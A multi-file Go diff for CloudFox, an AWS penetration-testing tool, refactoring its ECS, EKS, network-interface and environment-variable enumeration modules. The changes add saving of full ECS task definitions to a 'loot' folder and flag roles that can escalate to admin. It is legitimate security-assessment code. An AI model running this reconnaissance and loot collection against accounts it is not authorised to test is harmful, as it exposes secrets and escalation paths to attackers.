"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
@@ -24,12 +25,12 @@ type DescribeTasksDefinitionAPIClient interface {
DescribeTaskDefinition(context.Context, *ecs.DescribeTaskDefinitionInput, ...func(*ecs.Options)) (*ecs.DescribeTaskDefinitionOutput, error)
}
type ECSTasksModule struct {
DescribeTaskDefinitionClient DescribeTasksDefinitionAPIClient
DescribeTasksClient ecs.DescribeTasksAPIClient
ListTasksClient ecs.ListTasksAPIClient
ListClustersClient ecs.ListClustersAPIClient
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
DescribeTaskDefinitionClient DescribeTasksDefinitionAPIClient
DescribeTasksClient ecs.DescribeTasksAPIClient
ListTasksClient ecs.ListTasksAPIClient
ListClustersClient ecs.ListClustersAPIClient
DescribeNetworkInterfacesClient ec2.DescribeNetworkInterfacesAPIClient
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -50,15 +51,16 @@ type ECSTasksModule struct {
}
type MappedECSTask struct {
Cluster string
TaskDefinition string
LaunchType string
ID string
ExternalIP string
PrivateIP string
Role string
Admin string
CanPrivEsc string
Cluster string
TaskDefinitionName string
TaskDefinitionContent string
LaunchType string
ID string
ExternalIP string
PrivateIP string
Role string
Admin string
CanPrivEsc string
}
func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, verbosity int) {
@@ -75,15 +77,15 @@ func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, v
fmt.Printf("[%s][%s] Enumerating ECS tasks in all regions for account %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
if m.pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
} else {
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
@@ -124,7 +126,7 @@ func (m *ECSTasksModule) ECSTasks(outputFormat string, outputDirectory string, v
receiverDone <- true
<-receiverDone
m.printECSTaskData(outputFormat, outputDirectory, dataReceiver)
m.printECSTaskData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
@@ -141,41 +143,90 @@ func (m *ECSTasksModule) Receiver(receiver chan MappedECSTask, receiverDone chan
}
}
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask) {
m.output.Headers = []string{
"Cluster",
"TaskDefinition",
"LaunchType",
"ID",
"External IP",
"Internal IP",
"RoleArn",
"IsAdminRole?",
"CanPrivEscToAdmin?",
func (m *ECSTasksModule) printECSTaskData(outputFormat string, outputDirectory string, dataReceiver chan MappedECSTask, verbosity int) {
if m.pmapperError == nil {
m.output.Headers = []string{
"Cluster",
"TaskDefinition",
"LaunchType",
"ID",
"External IP",
"Internal IP",
"RoleArn",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Cluster",
"TaskDefinition",
"LaunchType",
"ID",
"External IP",
"Internal IP",
"RoleArn",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
for _, ecsTask := range m.MappedECSTasks {
m.output.Body = append(
m.output.Body,
[]string{
ecsTask.Cluster,
ecsTask.TaskDefinition,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
ecsTask.PrivateIP,
ecsTask.Role,
ecsTask.Admin,
ecsTask.CanPrivEsc,
},
)
if m.pmapperError == nil {
for _, ecsTask := range m.MappedECSTasks {
m.output.Body = append(
m.output.Body,
[]string{
ecsTask.Cluster,
ecsTask.TaskDefinitionName,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
ecsTask.PrivateIP,
ecsTask.Role,
ecsTask.Admin,
ecsTask.CanPrivEsc,
},
)
}
} else {
for _, ecsTask := range m.MappedECSTasks {
m.output.Body = append(
m.output.Body,
[]string{
ecsTask.Cluster,
ecsTask.TaskDefinitionName,
ecsTask.LaunchType,
ecsTask.ID,
ecsTask.ExternalIP,
ecsTask.PrivateIP,
ecsTask.Role,
ecsTask.Admin,
//ecsTask.CanPrivEsc,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName)
fmt.Printf("[%s][%s] %s ECS tasks found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -216,6 +267,24 @@ func (m *ECSTasksModule) writeLoot(outputDirectory string) {
m.CommandCounter.Error++
}
for _, task := range m.MappedECSTasks {
if task.TaskDefinitionContent != "" {
path := filepath.Join(path, "task-definitions")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
taskDefinitionFilename := filepath.Join(path, task.TaskDefinitionName+".json")
err = os.WriteFile(taskDefinitionFilename, []byte(task.TaskDefinitionContent), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), publicIPsFilename)
@@ -225,7 +294,7 @@ func (m *ECSTasksModule) executeChecks(r string, wg *sync.WaitGroup, dataReceive
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ecs", r)
if err != nil {
@@ -352,13 +421,20 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
}
for _, task := range DescribeTasks.Tasks {
taskDefinition, err := m.describeTaskDefinition(aws.ToString(task.TaskDefinitionArn), region)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
mappedTask := MappedECSTask{
Cluster: getNameFromARN(clusterARN),
TaskDefinition: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
LaunchType: string(task.LaunchType),
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
Role: m.getTaskRole(aws.ToString(task.TaskDefinitionArn), region),
Cluster: getNameFromARN(clusterARN),
TaskDefinitionName: getNameFromARN(aws.ToString(task.TaskDefinitionArn)),
TaskDefinitionContent: getTaskDefinitionContent(taskDefinition),
LaunchType: string(task.LaunchType),
ID: getIDFromECSTask(aws.ToString(task.TaskArn)),
PrivateIP: getPrivateIPv4AddressFromECSTask(task),
Role: getTaskRole(taskDefinition),
}
eniID := getElasticNetworkInterfaceIDOfECSTask(task)
@@ -370,7 +446,21 @@ func (m *ECSTasksModule) loadTasksData(clusterARN string, taskARNs []string, reg
}
}
func (m *ECSTasksModule) getTaskRole(taskDefinitionArn string, region string) string {
func getTaskRole(taskDefinition types.TaskDefinition) string {
return aws.ToString(taskDefinition.TaskRoleArn)
}
func getTaskDefinitionContent(taskDefinition types.TaskDefinition) string {
// return taskDefinition as a json string
taskDefinitionContent, err := json.Marshal(taskDefinition)
if err != nil {
return ""
}
return string(taskDefinitionContent)
}
func (m *ECSTasksModule) describeTaskDefinition(taskDefinitionArn string, region string) (types.TaskDefinition, error) {
DescribeTaskDefinition, err := m.DescribeTaskDefinitionClient.DescribeTaskDefinition(
context.TODO(),
&ecs.DescribeTaskDefinitionInput{
@@ -383,9 +473,9 @@ func (m *ECSTasksModule) getTaskRole(taskDefinitionArn string, region string) st
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return ""
return types.TaskDefinition{}, err
}
return aws.ToString(DescribeTaskDefinition.TaskDefinition.TaskRoleArn)
return *DescribeTaskDefinition.TaskDefinition, nil
}
/* UNUSED CODE BLOCK - PLEASE REVIEW AND DELETE IF NOT NEEDED
+106 -160
View File
@@ -1,18 +1,15 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/eks"
"github.com/aws/aws-sdk-go-v2/service/eks/types"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
@@ -21,11 +18,8 @@ import (
type EKSModule struct {
// General configuration data
// These interfaces are used for unit testing
EKSClientListClustersInterface eks.ListClustersAPIClient
EKSClientDescribeClusterInterface eks.DescribeClusterAPIClient
EKSClientListNodeGroupsInterface eks.ListNodegroupsAPIClient
EKSClientDescribeNodeGroupInterface eks.DescribeNodegroupAPIClient
IAMSimulatePrincipalPolicyClient iam.SimulatePrincipalPolicyAPIClient
EKSClient sdk.EKSClientInterface
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
@@ -74,15 +68,15 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
fmt.Printf("[%s][%s] Enumerating EKS clusters for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
// Initialized the tools we'll need to check if any workload roles are admin or can privesc to admin
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMSimulatePrincipalPolicyClient, m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
if m.pmapperError != nil {
fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
} else {
fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
wg := new(sync.WaitGroup)
@@ -129,37 +123,71 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
}
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"Service",
"Region",
"Name",
//"Endpoint",
"Public",
//"OIDC",
"NodeGroup",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
if m.pmapperError == nil {
m.output.Headers = []string{
"Service",
"Region",
"Name",
//"Endpoint",
"Public",
//"OIDC",
"NodeGroup",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Service",
"Region",
"Name",
//"Endpoint",
"Public",
//"OIDC",
"NodeGroup",
"Role",
"IsAdminRole?",
//"CanPrivEscToAdmin?",
}
}
// Table rows
for i := range m.Clusters {
m.output.Body = append(
m.output.Body,
[]string{
m.Clusters[i].AWSService,
m.Clusters[i].Region,
m.Clusters[i].Name,
//m.Clusters[i].Endpoint,
m.Clusters[i].Public,
//m.Clusters[i].OIDC,
m.Clusters[i].NodeGroup,
m.Clusters[i].Role,
m.Clusters[i].Admin,
m.Clusters[i].CanPrivEsc,
},
)
for i := range m.Clusters {
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Clusters[i].AWSService,
m.Clusters[i].Region,
m.Clusters[i].Name,
//m.Clusters[i].Endpoint,
m.Clusters[i].Public,
//m.Clusters[i].OIDC,
m.Clusters[i].NodeGroup,
m.Clusters[i].Role,
m.Clusters[i].Admin,
m.Clusters[i].CanPrivEsc,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Clusters[i].AWSService,
m.Clusters[i].Region,
m.Clusters[i].Name,
//m.Clusters[i].Endpoint,
m.Clusters[i].Public,
//m.Clusters[i].OIDC,
m.Clusters[i].NodeGroup,
m.Clusters[i].Role,
m.Clusters[i].Admin,
//m.Clusters[i].CanPrivEsc,
},
)
}
}
var seen []string
@@ -170,11 +198,27 @@ func (m *EKSModule) EKS(outputFormat string, outputDirectory string, verbosity i
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath, verbosity)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d clusters with a total of %d node groups found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(seen), len(m.output.Body))
} else {
fmt.Printf("[%s][%s] No clusters found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
@@ -186,7 +230,7 @@ func (m *EKSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan s
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("eks", r)
if err != nil {
@@ -270,16 +314,19 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
<-semaphore
}()
var clusters []string
var role string
clusters, err := m.listClusters(r)
clusters, err := sdk.CachedEKSListClusters(m.EKSClient, aws.ToString(m.Caller.Account), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, clusterName := range clusters {
clusterDetails, err := m.describeCluster(clusterName, r)
var role string
var oidc string = ""
var publicEndpoint = ""
clusterDetails, err := sdk.CachedEKSDescribeCluster(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -287,20 +334,25 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
//nodeGroups = append(nodeGroups, DescribeCluster.Cluster.)
endpoint := aws.ToString(clusterDetails.Endpoint)
oidc := aws.ToString(clusterDetails.Identity.Oidc.Issuer)
publicEndpoint := strconv.FormatBool(clusterDetails.ResourcesVpcConfig.EndpointPublicAccess)
if clusterDetails.Identity != nil && clusterDetails.Identity.Oidc != nil {
oidc = aws.ToString(clusterDetails.Identity.Oidc.Issuer)
}
if clusterDetails.ResourcesVpcConfig != nil {
publicEndpoint = strconv.FormatBool(clusterDetails.ResourcesVpcConfig.EndpointPublicAccess)
}
// if DescribeCluster.Cluster.ResourcesVpcConfig.PublicAccessCidrs[0] == "0.0.0.0/0" {
// publicCIDRs := "0.0.0.0/0"
// } else {
// publicCIDRs := "specific IPs"
// }
ListNodeGroups := m.listNodeGroups(clusterName, r)
ListNodeGroups, err := sdk.CachedEKSListNodeGroups(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, r)
if len(ListNodeGroups) > 0 {
for _, nodeGroup := range ListNodeGroups {
nodeGroupDetails, err := m.describeNodegroup(clusterName, nodeGroup, r)
nodeGroupDetails, err := sdk.CachedEKSDescribeNodeGroup(m.EKSClient, aws.ToString(m.Caller.Account), clusterName, nodeGroup, r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
@@ -341,109 +393,3 @@ func (m *EKSModule) getEKSRecordsPerRegion(r string, wg *sync.WaitGroup, semapho
}
}
func (m *EKSModule) listClusters(r string) ([]string, error) {
var PaginationControl *string
var clusters []string
for {
ListClusters, err := m.EKSClientListClustersInterface.ListClusters(
context.TODO(),
&eks.ListClustersInput{
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return clusters, err
}
clusters = append(clusters, ListClusters.Clusters...)
// The "NextToken" value is nil when there's no more data to return.
if ListClusters.NextToken != nil {
PaginationControl = ListClusters.NextToken
} else {
PaginationControl = nil
break
}
}
return clusters, nil
}
func (m *EKSModule) listNodeGroups(clusterName string, r string) []string {
var PaginationControl *string
var nodeGroups []string
for {
ListNodeGroups, err := m.EKSClientListNodeGroupsInterface.ListNodegroups(
context.TODO(),
&eks.ListNodegroupsInput{
ClusterName: &clusterName,
NextToken: PaginationControl,
},
func(o *eks.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
nodeGroups = append(nodeGroups, ListNodeGroups.Nodegroups...)
if ListNodeGroups.NextToken != nil {
PaginationControl = ListNodeGroups.NextToken
} else {
PaginationControl = nil
break
}
}
return nodeGroups
}
func (m *EKSModule) describeCluster(clusterName string, r string) (*types.Cluster, error) {
var err error
//var clusterDetails types.Cluster
DescribeCluster, err := m.EKSClientDescribeClusterInterface.DescribeCluster(
context.TODO(),
&eks.DescribeClusterInput{
Name: &clusterName,
},
func(o *eks.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
return DescribeCluster.Cluster, err
}
func (m *EKSModule) describeNodegroup(clusterName string, nodeGroup string, r string) (*types.Nodegroup, error) {
DescribeNodegroup, err := m.EKSClientDescribeNodeGroupInterface.DescribeNodegroup(
context.TODO(),
&eks.DescribeNodegroupInput{
ClusterName: &clusterName,
NodegroupName: &nodeGroup,
},
func(o *eks.Options) {
o.Region = r
},
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
return DescribeNodegroup.Nodegroup, err
}
+6 -21
View File
@@ -12,22 +12,10 @@ import (
"github.com/aws/aws-sdk-go-v2/service/sts"
)
type MockedEKSClientListClusters struct {
type MockedEKSClientInterface struct {
}
type MockedEKSClientDescribeCluster struct {
}
type MockedEKSClientListNodegroups struct {
}
type MockedEKSClientDescribeNodegroup struct {
}
type MockedIAMSimulatePrincipalPolicy struct {
}
func (m *MockedEKSClientListClusters) ListClusters(ctx context.Context, params *eks.ListClustersInput, optFns ...func(*eks.Options)) (*eks.ListClustersOutput, error) {
func (m *MockedEKSClientInterface) ListClusters(ctx context.Context, params *eks.ListClustersInput, optFns ...func(*eks.Options)) (*eks.ListClustersOutput, error) {
testClusters := []string{}
testClusters = append(testClusters, "test1")
@@ -38,7 +26,7 @@ func (m *MockedEKSClientListClusters) ListClusters(ctx context.Context, params *
return testListClustersOutput, nil
}
func (m *MockedEKSClientDescribeCluster) DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error) {
func (m *MockedEKSClientInterface) DescribeCluster(context.Context, *eks.DescribeClusterInput, ...func(*eks.Options)) (*eks.DescribeClusterOutput, error) {
testIdentity := types.Identity{
Oidc: &types.OIDC{
Issuer: aws.String("abc123"),
@@ -61,7 +49,7 @@ func (m *MockedEKSClientDescribeCluster) DescribeCluster(context.Context, *eks.D
return testDescribeClusterOutput, nil
}
func (m *MockedEKSClientListNodegroups) ListNodegroups(ctx context.Context, params *eks.ListNodegroupsInput, optFns ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error) {
func (m *MockedEKSClientInterface) ListNodegroups(ctx context.Context, params *eks.ListNodegroupsInput, optFns ...func(*eks.Options)) (*eks.ListNodegroupsOutput, error) {
testNodegroups := []string{}
testNodegroups = append(testNodegroups, "test1")
@@ -72,7 +60,7 @@ func (m *MockedEKSClientListNodegroups) ListNodegroups(ctx context.Context, para
return testListNodegroupsOutput, nil
}
func (m *MockedEKSClientDescribeNodegroup) DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error) {
func (m *MockedEKSClientInterface) DescribeNodegroup(context.Context, *eks.DescribeNodegroupInput, ...func(*eks.Options)) (*eks.DescribeNodegroupOutput, error) {
testNodegroup := types.Nodegroup{}
testNodegroup.NodeRole = aws.String("roleABC")
testDescribeNodegroupOutput := &eks.DescribeNodegroupOutput{
@@ -95,10 +83,7 @@ func TestEks(t *testing.T) {
outputDirectory: ".",
verbosity: 2,
testModule: EKSModule{
EKSClientListClustersInterface: &MockedEKSClientListClusters{},
EKSClientDescribeClusterInterface: &MockedEKSClientDescribeCluster{},
EKSClientListNodeGroupsInterface: &MockedEKSClientListNodegroups{},
EKSClientDescribeNodeGroupInterface: &MockedEKSClientDescribeNodegroup{},
EKSClient: &MockedEKSClientInterface{},
//IAMSimulatePrincipalPolicyClient: iam.SimulatePrincipalPolicyAPIClient,
Caller: sts.GetCallerIdentityOutput{Arn: aws.String("test")},
OutputFormat: "table",
+22 -6
View File
@@ -84,7 +84,7 @@ func (m *ElasticNetworkInterfacesModule) ElasticNetworkInterfaces(outputFormat s
receiverDone <- true
<-receiverDone
m.printENIsData(outputFormat, outputDirectory, dataReceiver)
m.printENIsData(outputFormat, outputDirectory, dataReceiver, verbosity)
}
@@ -101,7 +101,7 @@ func (m *ElasticNetworkInterfacesModule) Receiver(receiver chan MappedENI, recei
}
}
func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outputDirectory string, dataReceiver chan MappedENI) {
func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outputDirectory string, dataReceiver chan MappedENI, verbosity int) {
m.output.Headers = []string{
"ID",
"Type",
@@ -126,11 +126,27 @@ func (m *ElasticNetworkInterfacesModule) printENIsData(outputFormat string, outp
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
m.writeLoot(m.output.FilePath)
//m.writeLoot(m.output.FilePath)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName)
fmt.Printf("[%s][%s] %s elastic network interfaces found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
@@ -180,7 +196,7 @@ func (m *ElasticNetworkInterfacesModule) writeLoot(outputDirectory string) {
func (m *ElasticNetworkInterfacesModule) executeChecks(r string, wg *sync.WaitGroup, dataReceiver chan MappedENI) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "EMBEDDED_IN_PACKAGE",
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("ec2", r)
if err != nil {
+775 -649
View File
File diff suppressed because it is too large. Load diff
+74 -99
View File
@@ -8,6 +8,7 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/apprunner"
@@ -139,10 +140,25 @@ func (m *EnvsModule) PrintEnvs(outputFormat string, outputDirectory string, verb
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
